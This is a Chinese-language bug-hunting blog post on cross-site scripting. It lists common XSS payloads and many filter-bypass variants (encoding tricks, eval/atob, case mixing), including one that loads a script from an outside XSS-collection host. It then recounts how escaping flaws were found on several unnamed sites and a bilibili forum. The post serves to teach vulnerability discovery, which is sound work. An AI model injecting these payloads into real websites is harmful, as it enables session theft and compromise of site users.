XSS漏洞挖掘真实案例进阶篇
2019-09-12 14:58:29 Author: mp.weixin.qq.com(查看原文) 阅读量:141 收藏

前言

如果你还对XSS有些陌生,可以先去看下面这两篇文章,第二篇是连载,可以仔细看一看。最后一篇文章是精髓,我就是因为看了这篇文章之后XSS功力突飞猛进

参考

XSS总结 - 先知社区:https://xz.aliyun.com/t/4067

Web安全从零开始-XSS I - Zedd's Blog:https://blog.zeddyu.info/2019/03/13/Web安全从零开始-XSS-I/#Encode

那些年我们一起学XSS:https://wizardforcel.gitbooks.io/xss-naxienian/content/index.html

常用的Payload

<script>alert(1)</script>
<script src=https://xsspt.com/VBAhTu></script>
<a href=javascript:alert(1)>xss</a>
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
<img src=https://www.baidu.com/img/bd_logo1.png onload=alert(1)>
<details open ontoggle=alert(1)>
<body onload=alert(1)>
<M onmouseover=alert(1)>M
<iframe src=javascript:alert(1)></iframe>
<iframe onload=alert(1)>
   

Bypass的一些姿势


<img/src="1"/onerror=alert(1)>
   

<iimgmg src=1 oonerrornerror=aimglert(1)>
   

<iMg src=1 oNerRor=alert(1)>
   

<img src=1 onerror="a=`aler`;b=`t(1)`;eval(a+b);">
<img src=1 onerror=eval(atob('YWxlcnQoMSk='))>
   

<img src=1 onerror=location='javascript:%61%6C%65%72%74%28%31%29'>
<img src=1 onerror=location='javascript:\x61\x6C\x65\x72\x74\x28\x31\x29'>
<img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
   

<img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">
   

<img src=1 onerror     =alert(1)>
<img src=1 onerror
=alert(1)>
   

<img src=1 onerror=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;>
   

<img src=1 onerror=&#x00000061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;>

XSS实例及挖掘方法

1.1 某租号平台的三个XSS

首先租号平台肯定有一个发布账号的功能,发布账号就要涉及到用户输入,所以XSS出现的机率很大,来看看第一个实例。

发布账号后,发现<>"&都被转义了,以及&被替换被空,大部分人遇到这种的肯定都会放弃,但是它这里有一点没有处理好

它封面可以设置多张图片,多张图片的链接用|来分割,我在图片链接当中加了个单引号,没想到这个单引号居然能逃逸双引号的束缚,见下图

接下来就可以利用onload构造payloade就好了

第二个实例和第一个实例完全是一模一样,这个租号平台有个手机客户端,在手机客户端中也有一个发布账号的功能,由于后台处理时一样的,所以就多找到一个XSS,这也是漏洞挖掘的一个思路吧

第三个实例也是手机客户端上的(感觉目前APP的XSS防御较弱),一个发布动态的功能,同样动态内容中的标签都会被转义了,但是可以插入图片,能插入图片的地方XSS一般是比较多的

由于它没有对双引号进行转义,所以在引入图片链接的时候,输入双引号会闭合前面的双引号,所以就造成了XSS

1.2 某陪玩平台的一个XSS

也是从APP入手的,在一个修改地址的地方

修改之后,地址变为了<sc<x>ript>,并没有直接实体转义,还有机会

在之前对该站的测试中发现,服务器全局将'"替换为空,所以可以利用这个特点来进行绕过

在网页可以看到address的回显

1.3 某酒店的一个反射XSS

大部分人在URL中看到参数一般都是想着SQL注入吧,但还有可能是反射XSS

由于前端并没有对双引号进行转义所以导致了XSS

1.4 bilibili某论坛的一个XSS利用点

虽然最后没有利用好,但是思路还是不错的。先来讲讲思路,在该bilibili论坛,如果你第一次用bilibili账号登陆,他会将你bilibili的个性签名同步到该站,在这过程中它并没有讲bilibili中的个性签名做转义,所以如果利用的好应该能导致XSS

将bilibili的个签改成<img><a>123</a><div></div><svg></svg>

用bilibili账号登陆目标站点后,会同步个性签名,bilibili还是在出口对标签做了过滤<svg>标签被转义,但是其它的标签并没有被转义

1.5 某旅行网的一个XSS

在修改昵称处,可以输入任意字符

从返回结果来看,将<>变为空

之前POST的数据类似json格式,利用\u003csvg\u003e成功写入<svg>,猜测是服务器先对POST的内容进行检测,再格式化数据,所以使用\u00xx能成功绕过检测

XSS的总结

首先先要了解该网站的业务,判断哪些地方可能存在XSS漏洞,比如:发布文章、设置头像、地址、昵称、用户的其它个人资料等,大部分企业都有WEB端移动端,有些移动端修改的资料,可以显示在WEB端某个地方且目前移动端XSS防御较弱,我的好多XSS也都是从移动端入手的,XSS也是目前WAF较难防御的一个点,因为可以有太多变形,WAF过滤起来是有一定难度的,可以去看我另一篇Bypass的实例:记一次艰难的XSS:http://blog.b1ok3n.cn/2019/09/11/记一次艰难的XSS/


文章来源: https://mp.weixin.qq.com/s/OMgZRX3RdJ724OFKGP7gEg
如有侵权请联系:admin#unsafe.sh